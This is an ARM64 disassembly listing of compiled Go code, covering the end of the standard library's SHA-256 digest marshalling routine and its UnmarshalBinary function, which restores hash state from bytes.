    00512544ldr x4, [sp+216]
    00512548add x0, x4, x3
    0051254cstr x0, [sp+208]
    00512550ldr x2, [sp+80]
    00512554adrp x1, 0x19e000
    00512558add x1, x1, 1286
    0051255cbl runtime.memmove
    00512560ldr x3, [sp+216]
    00512564ldr x4, [sp+224]
    00512568ldr x5, [sp+232]
    0051256cstr x3, [sp+384]
    00512570str x4, [sp+392]
    00512574str x5, [sp+400]
    00512578b 0x512618
    0051257c
    0051257cloc_51257c:
    0051257cldr x2, [sp+400]
    00512580ldr x0, [sp+384]
    00512584ldr x5, [sp+392]
    00512588add x1, x5, 4
    0051258cstr x0, [sp+336]
    00512590str x5, [sp+344]
    00512594str x2, [sp+352]
    00512598str x1, [sp+160]
    0051259csubs xzr, x2, x1
    005125a0b.hs 0x5125a8
    005125a4b 0x5125b0
    005125a8
    005125a8loc_5125a8:
    005125a8str x1, [sp+344]
    005125acb 0x5125d0
    005125b0
    005125b0loc_5125b0:
    005125b0orr x3, xzr, 4
    005125b4adrp x4, 0xe3000
    005125b8add x4, x4, 3072
    005125bcbl runtime.growslice
    005125c0str x0, [sp+336]
    005125c4str x1, [sp+344]
    005125c8str x2, [sp+352]
    005125ccb 0x5125d0
    005125d0
    005125d0loc_5125d0:
    005125d0orr x3, xzr, 4
    005125d4str x3, [sp+152]
    005125d8ldr x3, [sp+160]
    005125dcsub x3, x3, 4
    005125e0ldr x4, [sp+336]
    005125e4add x0, x4, x3
    005125e8str x0, [sp+328]
    005125ecldr x2, [sp+152]
    005125f0adrp x1, 0x19e000
    005125f4add x1, x1, 1290
    005125f8bl runtime.memmove
    005125fcldr x3, [sp+336]
    00512600ldr x4, [sp+344]
    00512604ldr x5, [sp+352]
    00512608str x3, [sp+384]
    0051260cstr x4, [sp+392]
    00512610str x5, [sp+400]
    00512614b 0x512618
    00512618
    00512618loc_512618:
    00512618ldr x4, [sp+376]
    0051261cldrsb x27, [x4]
    00512620ldr w3, [x4]
    00512624str w3, [sp+76]
    00512628ldr x0, [sp+384]
    0051262cldr x1, [sp+392]
    00512630ldr x2, [sp+400]
    00512634bl crypto/internal/fips140deps/byteorder.BEAppendUint32
    00512638str x0, [sp+384]
    0051263cstr x1, [sp+392]
    00512640str x2, [sp+400]
    00512644ldr x4, [sp+376]
    00512648ldrsb x27, [x4]
    0051264cldr w3, [x4+4]
    00512650str w3, [sp+72]
    00512654ldr x0, [sp+384]
    00512658ldr x1, [sp+392]
    0051265cldr x2, [sp+400]
    00512660bl crypto/internal/fips140deps/byteorder.BEAppendUint32
    00512664str x0, [sp+384]
    00512668str x1, [sp+392]
    0051266cstr x2, [sp+400]
    00512670ldr x4, [sp+376]
    00512674ldrsb x27, [x4]
    00512678ldr w3, [x4+8]
    0051267cstr w3, [sp+68]
    00512680ldr x0, [sp+384]
    00512684ldr x1, [sp+392]
    00512688ldr x2, [sp+400]
    0051268cbl crypto/internal/fips140deps/byteorder.BEAppendUint32
    00512690str x0, [sp+384]
    00512694str x1, [sp+392]
    00512698str x2, [sp+400]
    0051269cldr x4, [sp+376]
    005126a0ldrsb x27, [x4]
    005126a4ldr w3, [x4+12]
    005126a8str w3, [sp+64]
    005126acldr x0, [sp+384]
    005126b0ldr x1, [sp+392]
    005126b4ldr x2, [sp+400]
    005126b8bl crypto/internal/fips140deps/byteorder.BEAppendUint32
    005126bcstr x0, [sp+384]
    005126c0str x1, [sp+392]
    005126c4str x2, [sp+400]
    005126c8ldr x4, [sp+376]
    005126ccldrsb x27, [x4]
    005126d0ldr w3, [x4+16]
    005126d4str w3, [sp+60]
    005126d8ldr x0, [sp+384]
    005126dcldr x1, [sp+392]
    005126e0ldr x2, [sp+400]
    005126e4bl crypto/internal/fips140deps/byteorder.BEAppendUint32
    005126e8str x0, [sp+384]
    005126ecstr x1, [sp+392]
    005126f0str x2, [sp+400]
    005126f4ldr x4, [sp+376]
    005126f8ldrsb x27, [x4]
    005126fcldr w3, [x4+20]
    00512700str w3, [sp+56]
    00512704ldr x0, [sp+384]
    00512708ldr x1, [sp+392]
    0051270cldr x2, [sp+400]
    00512710bl crypto/internal/fips140deps/byteorder.BEAppendUint32
    00512714str x0, [sp+384]
    00512718str x1, [sp+392]
    0051271cstr x2, [sp+400]
    00512720ldr x4, [sp+376]
    00512724ldrsb x27, [x4]
    00512728ldr w3, [x4+24]
    0051272cstr w3, [sp+52]
    00512730ldr x0, [sp+384]
    00512734ldr x1, [sp+392]
    00512738ldr x2, [sp+400]
    0051273cbl crypto/internal/fips140deps/byteorder.BEAppendUint32
    00512740str x0, [sp+384]
    00512744str x1, [sp+392]
    00512748str x2, [sp+400]
    0051274cldr x4, [sp+376]
    00512750ldrsb x27, [x4]
    00512754ldr w3, [x4+28]
    00512758str w3, [sp+48]
    0051275cldr x0, [sp+384]
    00512760ldr x1, [sp+392]
    00512764ldr x2, [sp+400]
    00512768bl crypto/internal/fips140deps/byteorder.BEAppendUint32
    0051276cstr x0, [sp+384]
    00512770str x1, [sp+392]
    00512774str x2, [sp+400]
    00512778ldr x4, [sp+376]
    0051277cldrsb x27, [x4]
    00512780ldr x1, [x4+96]
    00512784str x1, [sp+96]
    00512788ldr x4, [sp+376]
    0051278cldrsb x27, [x4]
    00512790add x4, x4, 32
    00512794ldrsb x27, [x4]
    00512798subs xzr, x1, 64
    0051279cb.ls 0x5127a4
    005127a0b 0x51297c
    005127a4
    005127a4loc_5127a4:
    005127a4b 0x5127a8
    005127a8
    005127a8loc_5127a8:
    005127a8str x4, [sp+240]
    005127acstr x1, [sp+248]
    005127b0orr x5, xzr, 64
    005127b4str x5, [sp+256]
    005127b8ldr x2, [sp+400]
    005127bcldr x0, [sp+384]
    005127c0ldr x6, [sp+392]
    005127c4str x0, [sp+304]
    005127c8str x6, [sp+312]
    005127ccstr x2, [sp+320]
    005127d0ldr x7, [sp+248]
    005127d4add x1, x6, x7
    005127d8str x1, [sp+144]
    005127dcsubs xzr, x2, x1
    005127e0b.hs 0x5127e8
    005127e4b 0x5127f0
    005127e8
    005127e8loc_5127e8:
    005127e8str x1, [sp+312]
    005127ecb 0x512810
    005127f0
    005127f0loc_5127f0:
    005127f0ldr x3, [sp+248]
    005127f4adrp x4, 0xe3000
    005127f8add x4, x4, 3072
    005127fcbl runtime.growslice
    00512800str x0, [sp+304]
    00512804str x1, [sp+312]
    00512808str x2, [sp+320]
    0051280cb 0x512810
    00512810
    00512810loc_512810:
    00512810ldr x3, [sp+248]
    00512814str x3, [sp+136]
    00512818ldr x3, [sp+144]
    0051281cldr x4, [sp+248]
    00512820sub x3, x3, x4
    00512824ldr x4, [sp+304]
    00512828add x0, x4, x3
    0051282cstr x0, [sp+296]
    00512830ldr x2, [sp+136]
    00512834ldr x1, [sp+240]
    00512838bl runtime.memmove
    0051283cldr x3, [sp+304]
    00512840ldr x4, [sp+312]
    00512844ldr x5, [sp+320]
    00512848str x3, [sp+384]
    0051284cstr x4, [sp+392]
    00512850str x5, [sp+400]
    00512854ldr x3, [sp+376]
    00512858ldrsb x27, [x3]
    0051285cldr x3, [x3+96]
    00512860orr x4, xzr, 64
    00512864sub x2, x4, x3
    00512868str x2, [sp+128]
    0051286cadrp x0, 0xe3000
    00512870add x0, x0, 3072
    00512874mov x1, x2
    00512878bl runtime.makeslice
    0051287cldr x3, [sp+128]
    00512880ldr x4, [sp+128]
    00512884str x0, [sp+240]
    00512888str x3, [sp+248]
    0051288cstr x4, [sp+256]
    00512890ldr x2, [sp+400]
    00512894ldr x0, [sp+384]
    00512898ldr x3, [sp+392]
    0051289cstr x0, [sp+272]
    005128a0str x3, [sp+280]
    005128a4str x2, [sp+288]
    005128a8ldr x4, [sp+248]
    005128acadd x1, x3, x4
    005128b0str x1, [sp+120]
    005128b4subs xzr, x2, x1
    005128b8b.hs 0x5128c0
    005128bcb 0x5128c8
    005128c0
    005128c0loc_5128c0:
    005128c0str x1, [sp+280]
    005128c4b 0x5128e8
    005128c8
    005128c8loc_5128c8:
    005128c8ldr x3, [sp+248]
    005128ccadrp x4, 0xe3000
    005128d0add x4, x4, 3072
    005128d4bl runtime.growslice
    005128d8str x0, [sp+272]
    005128dcstr x1, [sp+280]
    005128e0str x2, [sp+288]
    005128e4b 0x5128e8
    005128e8
    005128e8loc_5128e8:
    005128e8ldr x3, [sp+248]
    005128ecstr x3, [sp+112]
    005128f0ldr x3, [sp+120]
    005128f4ldr x4, [sp+248]
    005128f8sub x3, x3, x4
    005128fcldr x4, [sp+272]
    00512900add x0, x4, x3
    00512904str x0, [sp+264]
    00512908ldr x2, [sp+112]
    0051290cldr x1, [sp+240]
    00512910bl runtime.memmove
    00512914ldr x0, [sp+272]
    00512918ldr x1, [sp+280]
    0051291cldr x2, [sp+288]
    00512920str x0, [sp+384]
    00512924str x1, [sp+392]
    00512928str x2, [sp+400]
    0051292cldr x3, [sp+376]
    00512930ldrsb x27, [x3]
    00512934ldr x3, [x3+104]
    00512938str x3, [sp+104]
    0051293cbl crypto/internal/fips140deps/byteorder.BEAppendUint64
    00512940str x0, [sp+384]
    00512944str x1, [sp+392]
    00512948str x2, [sp+400]
    0051294cstr x0, [sp+184]
    00512950str x1, [sp+192]
    00512954str x2, [sp+200]
    00512958stp xzr, xzr, [sp+168]
    0051295cldr x0, [sp+184]
    00512960ldr x1, [sp+192]
    00512964ldr x2, [sp+200]
    00512968mov x3, xzr
    0051296cmov x4, xzr
    00512970ldp x29, x30, [sp-8]
    00512974add sp, sp, 368
    00512978ret x30
    0051297c
    0051297cloc_51297c:
    0051297corr x2, xzr, 64
    00512980bl runtime.panicSliceAlen
    00512984hint
    00512988
    00512988loc_512988:
    00512988stp x0, x1, [sp+8]
    0051298cstp x2, x3, [sp+24]
    00512990mov x3, x30
    00512994bl runtime.morestack_noctxt.abi0
    00512998ldp x0, x1, [sp+8]
    0051299cldp x2, x3, [sp+24]
    005129a0b 0x512490
    005129a4udf 0
    005129a8udf 0
    005129acudf 0
    00512490
    005129b0
    005129b0crypto/internal/fips140/sha256.(*Digest).UnmarshalBinary: ; void crypto/internal/fips140/sha256.(*Digest).UnmarshalBinary(crypto/internal/fips140/sha256.Digest * d, struct []uint8 b)
    005129b0ldr x16, [x28+16]
    005129b4sub x17, sp, 352
    005129b8subs xzr, x17, x16
    005129bcb.ls 0x513144
    005129c0sub x20, sp, 480
    005129c4stp x29, x30, [x20-8]
    005129c8add sp, x20, 0
    005129ccsub x29, sp, 8
    005129d0str x0, [sp+488]
    005129d4str x1, [sp+496]
    005129d8str x2, [sp+504]
    005129dcstr x3, [sp+512]
    005129e0stp xzr, xzr, [sp+120]
    005129e4ldr x3, [sp+504]
    005129e8str x3, [sp+104]
    005129ecsubs xzr, x3, 4
    005129f0cset x3, lt
    005129f4strb w3, [sp+42]
    005129f8b.lt 0x512a00
    005129fcb 0x512a08
    00512a00
    00512a00loc_512a00:
    00512a00orr x1, xzr, 4
    00512a04b 0x512abc
    00512a08
    00512a08loc_512a08:
    00512a08ldr x3, [sp+488]
    00512a0cldrsb x27, [x3]
    00512a10ldrb w3, [x3+112]
    00512a14strb w3, [sp+41]
    00512a18tbnz w3, 0, 0x512a20
    00512a1cb 0x512aa8
    00512a20
    00512a20loc_512a20:
    00512a20ldr x3, [sp+496]
    00512a24ldr x2, [sp+512]
    00512a28subs xzr, x2, 4
    00512a2cb.hs 0x512a34
    00512a30b 0x513138
    00512a34
    00512a34loc_512a34:
    00512a34b 0x512a38
    00512a38
    00512a38loc_512a38:
    00512a38str x3, [sp+328]
    00512a3corr x1, xzr, 4
    00512a40str x1, [sp+336]
    00512a44str x2, [sp+344]
    00512a48str x3, [sp+296]
    00512a4cstr x1, [sp+304]
    00512a50b 0x512a54
    00512a54
    00512a54loc_512a54:
    00512a54b 0x512a58
    00512a58
    00512a58loc_512a58:
    00512a58ldrb w4, [x3]
    00512a5cb 0x512a60
    00512a60
    00512a60loc_512a60:
    00512a60ldrb w5, [x3+1]
    00512a64ubfm x5, x5, 56, 7
    00512a68orr x4, x4, x5
    00512a6cb 0x512a70
    00512a70
    00512a70loc_512a70:
    00512a70ldrb w5, [x3+2]
    00512a74ubfm x5, x5, 48, 7
    00512a78orr x4, x4, x5
    00512a7cb 0x512a80
    00512a80
    00512a80loc_512a80:
    00512a80ldrb w3, [x3+3]
    00512a84ubfm x3, x3, 40, 7
    00512a88orr x3, x4, x3
    00512a8cmovz x4, 26739
    00512a90movk x4, 0x2610000
    00512a94subs wzr, w3, w4
    00512a98cset x3, ne
    00512a9cb 0x512aa0
    00512aa0
    00512aa0loc_512aa0:
    00512aa0strb w3, [sp+41]
    00512aa4b 0x512ab0
    00512aa8
    00512aa8loc_512aa8:
    00512aa8orr x1, xzr, 4
    00512aacb 0x512ab0
    00512ab0
    00512ab0loc_512ab0:
    00512ab0ldrb w3, [sp+41]
    00512ab4strb w3, [sp+42]
    00512ab8b 0x512abc
    00512abc
    00512abcloc_512abc:
    00512abcldrb w3, [sp+42]
    00512ac0strb w3, [sp+43]
    00512ac4tbnz w3, 0, 0x512acc
    00512ac8b 0x512ad0
    00512acc
    00512accloc_512acc:
    00512accb 0x512b80
    00512ad0
    00512ad0loc_512ad0:
    00512ad0ldr x3, [sp+488]
    00512ad4ldrsb x27, [x3]
    00512ad8ldrb w3, [x3+112]
    00512adceor x4, x3, 1
    00512ae0strb w4, [sp+41]
    00512ae4tbnz w3, 0, 0x512aec
    00512ae8b 0x512af0
    00512aec
    00512aecloc_512aec:
    00512aecb 0x512b74
    00512af0
    00512af0loc_512af0:
    00512af0ldr x3, [sp+496]
    00512af4ldr x2, [sp+512]
    00512af8subs xzr, x2, 4
    00512afcb.hs 0x512b04
    00512b00b 0x513134
    00512b04
    00512b04loc_512b04:
    00512b04b 0x512b08
    00512b08
    00512b08loc_512b08:
    00512b08str x3, [sp+328]
    00512b0cstr x1, [sp+336]
    00512b10str x2, [sp+344]
    00512b14str x3, [sp+256]
    00512b18str x1, [sp+264]
    00512b1cb 0x512b20
    00512b20
    00512b20loc_512b20:
    00512b20b 0x512b24
    00512b24
    00512b24loc_512b24:
    00512b24ldrb w4, [x3]
    00512b28b 0x512b2c
    00512b2c
    00512b2cloc_512b2c:
    00512b2cldrb w5, [x3+1]
    00512b30ubfm x5, x5, 56, 7
    00512b34orr x4, x4, x5
    00512b38b 0x512b3c
    00512b3c
    00512b3cloc_512b3c:
    00512b3cldrb w5, [x3+2]
    00512b40ubfm x5, x5, 48, 7
    00512b44orr x4, x4, x5
    00512b48b 0x512b4c
    00512b4c
    00512b4cloc_512b4c:
    00512b4cldrb w3, [x3+3]
    00512b50ubfm x3, x3, 40, 7
    00512b54orr x3, x4, x3
    00512b58movz x4, 26739
    00512b5cmovk x4, 0x3610000
    00512b60subs wzr, w3, w4
    00512b64cset x3, ne
    00512b68b 0x512b6c
    00512b6c
    00512b6cloc_512b6c:
    00512b6cstrb w3, [sp+41]
    00512b70b 0x512b74
    00512b74
    00512b74loc_512b74:
    00512b74ldrb w3, [sp+41]
    00512b78strb w3, [sp+43]
    00512b7cb 0x512b80
    00512b80
    00512b80loc_512b80:
    00512b80ldrb w3, [sp+43]
    00512b84tbnz w3, 0, 0x512b8c
    00512b88b 0x512bb8
    00512b8c
    00512b8cloc_512b8c:
    00512b8cadrp x0, 0x1b4000
    00512b90add x0, x0, 2256
    00512b94movz x1, 44
    00512b98bl errors.New
    00512b9cstr x0, [sp+312]
    00512ba0str x1, [sp+320]
    00512ba4str x0, [sp+120]
    00512ba8str x1, [sp+128]
    00512bacldp x29, x30, [sp-8]
    00512bb0add sp, sp, 480
    00512bb4ret x30
    00512bb8
    00512bb8loc_512bb8:
    00512bb8ldr x3, [sp+504]
    00512bbcstr x3, [sp+104]
    00512bc0subs xzr, x3, 108
    00512bc4b.ne 0x512bcc
    00512bc8b 0x512bf8
    00512bcc
    00512bccloc_512bcc:
    00512bccadrp x0, 0x1b1000
    00512bd0add x0, x0, 234
    00512bd4movz x1, 38
    00512bd8bl errors.New
    00512bdcstr x0, [sp+312]
    00512be0str x1, [sp+320]
    00512be4str x0, [sp+120]
    00512be8str x1, [sp+128]
    00512becldp x29, x30, [sp-8]
    00512bf0add sp, sp, 480
    00512bf4ret x30
    00512bf8
    00512bf8loc_512bf8:
    00512bf8ldr x3, [sp+504]
    00512bfcldr x4, [sp+496]
    00512c00ldr x5, [sp+512]
    00512c04b 0x512c08
    00512c08
    00512c08loc_512c08:
    00512c08subs xzr, x3, 4
    00512c0cb.hs 0x512c14
    00512c10b 0x513128
    00512c14
    00512c14loc_512c14:
    00512c14sub x5, x5, 4
    00512c18sub x6, xzr, x5
    00512c1csub x3, x3, 4
    00512c20sbfm x6, x6, 63, 63
    00512c24and x6, x6, 4
    00512c28add x4, x4, x6
    00512c2cstr x4, [sp+496]
    00512c30str x3, [sp+504]
    00512c34str x5, [sp+512]
    00512c38str xzr, [sp+328]
    00512c3cstp xzr, xzr, [sp+336]
    00512c40ldr x0, [sp+496]
    00512c44ldr x1, [sp+504]
    00512c48ldr x2, [sp+512]
    00512c4cbl crypto/internal/fips140/sha256.consumeUint32
    00512c50str x0, [sp+328]
    00512c54str x1, [sp+336]
    00512c58str x2, [sp+344]
    00512c5cstr w3, [sp+56]
    00512c60ldr x3, [sp+336]
    00512c64ldr x4, [sp+344]
    00512c68ldr x5, [sp+328]
    00512c6cstr x5, [sp+272]
    00512c70str x3, [sp+280]
    00512c74str x4, [sp+288]
    00512c78ldr w3, [sp+56]
    00512c7cstr w3, [sp+52]
    00512c80ldr x3, [sp+272]
    00512c84ldr x4, [sp+280]
    00512c88ldr x5, [sp+288]
    00512c8cstr x3, [sp+496]
    00512c90str x4, [sp+504]
    00512c94str x5, [sp+512]
    00512c98ldr x3, [sp+488]
    00512c9cldrsb x27, [x3]
    00512ca0ldr w4, [sp+52]
    00512ca4str w4, [x3]
    00512ca8str xzr, [sp+328]
    00512cacstp xzr, xzr, [sp+336]
    00512cb0ldr x0, [sp+496]
    00512cb4ldr x1, [sp+504]
    00512cb8ldr x2, [sp+512]
    00512cbcbl crypto/internal/fips140/sha256.consumeUint32
    00512cc0str x0, [sp+328]
    00512cc4str x1, [sp+336]
    00512cc8str x2, [sp+344]
    00512cccstr w3, [sp+56]
    00512cd0ldr x3, [sp+336]
    00512cd4ldr x4, [sp+344]
    00512cd8ldr x5, [sp+328]
    00512cdcstr x5, [sp+184]
    00512ce0str x3, [sp+192]
    00512ce4str x4, [sp+200]
    00512ce8ldr w3, [sp+56]
    00512cecstr w3, [sp+48]
    00512cf0ldr x3, [sp+184]
    00512cf4ldr x4, [sp+192]
    00512cf8ldr x5, [sp+200]
    00512cfcstr x3, [sp+496]
    00512d00str x4, [sp+504]
    00512d04str x5, [sp+512]
    00512d08ldr x3, [sp+488]
    00512d0cldrsb x27, [x3]
    00512d10ldr w4, [sp+48]
    00512d14str w4, [x3+4]
    00512d18str xzr, [sp+328]
    00512d1cstp xzr, xzr, [sp+336]
    00512d20ldr x0, [sp+496]
    00512d24ldr x1, [sp+504]
    00512d28ldr x2, [sp+512]
    00512d2cbl crypto/internal/fips140/sha256.consumeUint32
    00512d30str x0, [sp+328]
    00512d34str x1, [sp+336]
    00512d38str x2, [sp+344]
    00512d3cstr w3, [sp+56]
    00512d40ldr x3, [sp+336]
    00512d44ldr x4, [sp+344]
    00512d48ldr x5, [sp+328]
    00512d4cstr x5, [sp+160]
    00512d50str x3, [sp+168]
    00512d54str x4, [sp+176]
    00512d58ldr w3, [sp+56]
    00512d5cstr w3, [sp+44]
    00512d60ldr x3, [sp+160]
    00512d64ldr x4, [sp+168]
    00512d68ldr x5, [sp+176]
    00512d6cstr x3, [sp+496]
    00512d70str x4, [sp+504]
    00512d74str x5, [sp+512]
    00512d78ldr x3, [sp+488]
    00512d7cldrsb x27, [x3]
    00512d80ldr w4, [sp+44]
    00512d84str w4, [x3+8]
    00512d88str xzr, [sp+328]
    00512d8cstp xzr, xzr, [sp+336]
    00512d90ldr x0, [sp+496]
    00512d94ldr x1, [sp+504]
    00512d98ldr x2, [sp+512]
    00512d9cbl crypto/internal/fips140/sha256.consumeUint32
    00512da0str x0, [sp+328]
    00512da4str x1, [sp+336]
    00512da8str x2, [sp+344]
    00512dacstr w3, [sp+56]
    00512db0ldr x3, [sp+336]
    00512db4ldr x4, [sp+344]
    00512db8ldr x5, [sp+328]
    00512dbcstr x5, [sp+136]
    00512dc0str x3, [sp+144]
    00512dc4str x4, [sp+152]
    00512dc8ldr w3, [sp+56]
    00512dccstr w3, [sp+76]
    00512dd0ldr x3, [sp+136]
    00512dd4ldr x4, [sp+144]
    00512dd8ldr x5, [sp+152]
    00512ddcstr x3, [sp+496]
    00512de0str x4, [sp+504]
    00512de4str x5, [sp+512]
    00512de8ldr x3, [sp+488]
    00512decldrsb x27, [x3]
    00512df0ldr w4, [sp+76]
    00512df4str w4, [x3+12]
    00512df8str xzr, [sp+328]
    00512dfcstp xzr, xzr, [sp+336]
    00512e00ldr x0, [sp+496]
    00512e04ldr x1, [sp+504]
    00512e08ldr x2, [sp+512]
    00512e0cbl crypto/internal/fips140/sha256.consumeUint32
    00512e10str x0, [sp+328]
    00512e14str x1, [sp+336]
    00512e18str x2, [sp+344]
    00512e1cstr w3, [sp+56]
    00512e20ldr x3, [sp+336]
    00512e24ldr x4, [sp+344]
    00512e28ldr x5, [sp+328]
    00512e2cstr x5, [sp+448]
    00512e30str x3, [sp+456]
    00512e34str x4, [sp+464]
    00512e38ldr w3, [sp+56]
    00512e3cstr w3, [sp+72]
    00512e40ldr x3, [sp+448]
    00512e44ldr x4, [sp+456]
    00512e48ldr x5, [sp+464]
    00512e4cstr x3, [sp+496]
    00512e50str x4, [sp+504]
    00512e54str x5, [sp+512]
    00512e58ldr x3, [sp+488]
    00512e5cldrsb x27, [x3]
    00512e60ldr w4, [sp+72]
    00512e64str w4, [x3+16]
    00512e68str xzr, [sp+328]
    00512e6cstp xzr, xzr, [sp+336]
    00512e70ldr x0, [sp+496]
    00512e74ldr x1, [sp+504]
    00512e78ldr x2, [sp+512]
    00512e7cbl crypto/internal/fips140/sha256.consumeUint32
    00512e80str x0, [sp+328]
    00512e84str x1, [sp+336]
    00512e88str x2, [sp+344]
    00512e8cstr w3, [sp+56]
    00512e90ldr x3, [sp+336]
    00512e94ldr x4, [sp+344]
    00512e98ldr x5, [sp+328]
    00512e9cstr x5, [sp+424]
    00512ea0str x3, [sp+432]
    00512ea4str x4, [sp+440]
    00512ea8ldr w3, [sp+56]
    00512eacstr w3, [sp+68]
    00512eb0ldr x3, [sp+424]
    00512eb4ldr x4, [sp+432]
    00512eb8ldr x5, [sp+440]
    00512ebcstr x3, [sp+496]
    00512ec0str x4, [sp+504]
    00512ec4str x5, [sp+512]
    00512ec8ldr x3, [sp+488]
    00512eccldrsb x27, [x3]
    00512ed0ldr w4, [sp+68]
    00512ed4str w4, [x3+20]
    00512ed8str xzr, [sp+328]
    00512edcstp xzr, xzr, [sp+336]
    00512ee0ldr x0, [sp+496]
    00512ee4ldr x1, [sp+504]
    00512ee8ldr x2, [sp+512]
    00512eecbl crypto/internal/fips140/sha256.consumeUint32
    00512ef0str x0, [sp+328]
    00512ef4str x1, [sp+336]
    00512ef8str x2, [sp+344]
    00512efcstr w3, [sp+56]
    00512f00ldr x3, [sp+336]
    00512f04ldr x4, [sp+344]
    00512f08ldr x5, [sp+328]
    00512f0cstr x5, [sp+400]
    00512f10str x3, [sp+408]
    00512f14str x4, [sp+416]
    00512f18ldr w3, [sp+56]
    00512f1cstr w3, [sp+64]
    00512f20ldr x3, [sp+400]
    00512f24ldr x4, [sp+408]
    00512f28ldr x5, [sp+416]
    00512f2cstr x3, [sp+496]
    00512f30str x4, [sp+504]
    00512f34str x5, [sp+512]
    00512f38ldr x3, [sp+488]
    00512f3cldrsb x27, [x3]
    00512f40ldr w4, [sp+64]
    00512f44str w4, [x3+24]
    00512f48str xzr, [sp+328]
    00512f4cstp xzr, xzr, [sp+336]
    00512f50ldr x0, [sp+496]
    00512f54ldr x1, [sp+504]
    00512f58ldr x2, [sp+512]
    00512f5cbl crypto/internal/fips140/sha256.consumeUint32
    00512f60str x0, [sp+328]
    00512f64str x1, [sp+336]
    00512f68str x2, [sp+344]
    00512f6cstr w3, [sp+56]
    00512f70ldr x3, [sp+336]
    00512f74ldr x4, [sp+344]
    00512f78ldr x5, [sp+328]
    00512f7cstr x5, [sp+376]
    00512f80str x3, [sp+384]
    00512f84str x4, [sp+392]
    00512f88ldr w3, [sp+56]
    00512f8cstr w3, [sp+60]
    00512f90ldr x3, [sp+376]
    00512f94ldr x4, [sp+384]
    00512f98ldr x5, [sp+392]
    00512f9cstr x3, [sp+496]
    00512fa0str x4, [sp+504]
    00512fa4str x5, [sp+512]
    00512fa8ldr x3, [sp+488]
    00512facldrsb x27, [x3]
    00512fb0ldr w4, [sp+60]
    00512fb4str w4, [x3+28]
    00512fb8ldr x3, [sp+488]
    00512fbcldrsb x27, [x3]
    00512fc0add x3, x3, 32
    00512fc4ldrsb x27, [x3]
    00512fc8b 0x512fcc
    00512fcc
    00512fccloc_512fcc:
    00512fccstr x3, [sp+328]
    00512fd0orr x4, xzr, 64
    00512fd4str x4, [sp+336]
    00512fd8str x4, [sp+344]
    00512fdcstr x3, [sp+232]
    00512fe0str x4, [sp+240]
    00512fe4str x4, [sp+248]
    00512fe8ldr x3, [sp+504]
    00512fecldr x4, [sp+496]
    00512ff0ldr x5, [sp+512]
    00512ff4str x4, [sp+208]
    00512ff8str x3, [sp+216]
    00512ffcstr x5, [sp+224]
    00513000ldr x4, [sp+240]
    00513004str x4, [sp+88]
    00513008subs xzr, x4, x3
    0051300cb.gt 0x513014
    00513010b 0x51301c
    00513014
    00513014loc_513014:
    00513014str x3, [sp+88]
    00513018b 0x513020
    0051301c
    0051301cloc_51301c:
    0051301cb 0x513020
    00513020
    00513020loc_513020:
    00513020ldr x3, [sp+208]
    00513024ldr x4, [sp+232]
    00513028subs xzr, x3, x4
    0051302cb.ne 0x513034
    00513030b 0x513050
    00513034
    00513034loc_513034:
    00513034ldr x3, [sp+88]
    00513038str x3, [sp+80]
    0051303cldr x2, [sp+80]
    00513040ldr x1, [sp+208]
    00513044ldr x0, [sp+232]
    00513048bl runtime.memmove
    0051304cb 0x513054
    00513050
    00513050loc_513050:
    00513050b 0x513054
    00513054
    00513054loc_513054:
    00513054ldr x0, [sp+88]
    00513058str x0, [sp+104]
    0051305cldr x1, [sp+504]
    00513060ldr x3, [sp+496]
    00513064ldr x4, [sp+512]
    00513068b 0x51306c
    0051306c
    0051306cloc_51306c:
    0051306csubs xzr, x1, x0
    00513070b.hs 0x513078
    00513074b 0x513124
    00513078
    00513078loc_513078:
    00513078sub x4, x4, x0
    0051307csub x5, x1, x0
    00513080sub x6, xzr, x4
    00513084and x6, x0, x6, asr #63
    00513088add x3, x3, x6
    0051308cstr x3, [sp+496]
    00513090str x5, [sp+504]
    00513094str x4, [sp+512]
    00513098str xzr, [sp+328]
    0051309cstp xzr, xzr, [sp+336]
    005130a0ldr x0, [sp+496]
    005130a4ldr x1, [sp+504]
    005130a8ldr x2, [sp+512]
    005130acbl crypto/internal/fips140/sha256.consumeUint64
    005130b0str x0, [sp+328]
    005130b4str x1, [sp+336]
    005130b8str x2, [sp+344]
    005130bcstr x3, [sp+96]
    005130c0str x0, [sp+352]
    005130c4str x1, [sp+360]
    005130c8str x2, [sp+368]
    005130ccldr x3, [sp+96]
    005130d0str x3, [sp+112]
    005130d4str x0, [sp+496]
    005130d8str x1, [sp+504]
    005130dcstr x2, [sp+512]
    005130e0ldr x3, [sp+488]
    005130e4ldrsb x27, [x3]
    005130e8ldr x4, [sp+112]
    005130ecstr x4, [x3+104]
    005130f0ldr x3, [sp+488]
    005130f4ldrsb x27, [x3]
    005130f8ldr x4, [sp+488]
    005130fcldrsb x27, [x4]
    00513100ldr x4, [x4+104]
    00513104and x4, x4, 63
    00513108str x4, [x3+96]
    0051310cstp xzr, xzr, [sp+120]
    00513110mov x0, xzr
    00513114mov x1, xzr
    00513118ldp x29, x30, [sp-8]
    0051311cadd sp, sp, 480
    00513120ret x30
    00513124
    00513124loc_513124:
    00513124bl runtime.panicSliceB
    00513128
    00513128loc_513128:
    00513128mov x0, x1
    0051312cmov x1, x3
    00513130bl runtime.panicSliceB
    00513134
    00513134loc_513134:
    00513134bl runtime.panicSliceAcap
    00513138
    00513138loc_513138:
    00513138orr x1, xzr, 4
    0051313cbl runtime.panicSliceAcap
    00513140hint
    00513144
    00513144loc_513144:
    00513144stp x0, x1, [sp+8]
    00513148stp x2, x3, [sp+24]
    0051314cmov x3, x30
    00513150bl runtime.morestack_noctxt.abi0
    00513154ldp x0, x1, [sp+8]
    00513158ldp x2, x3, [sp+24]
    0051315cb 0x5129b0
    005129b0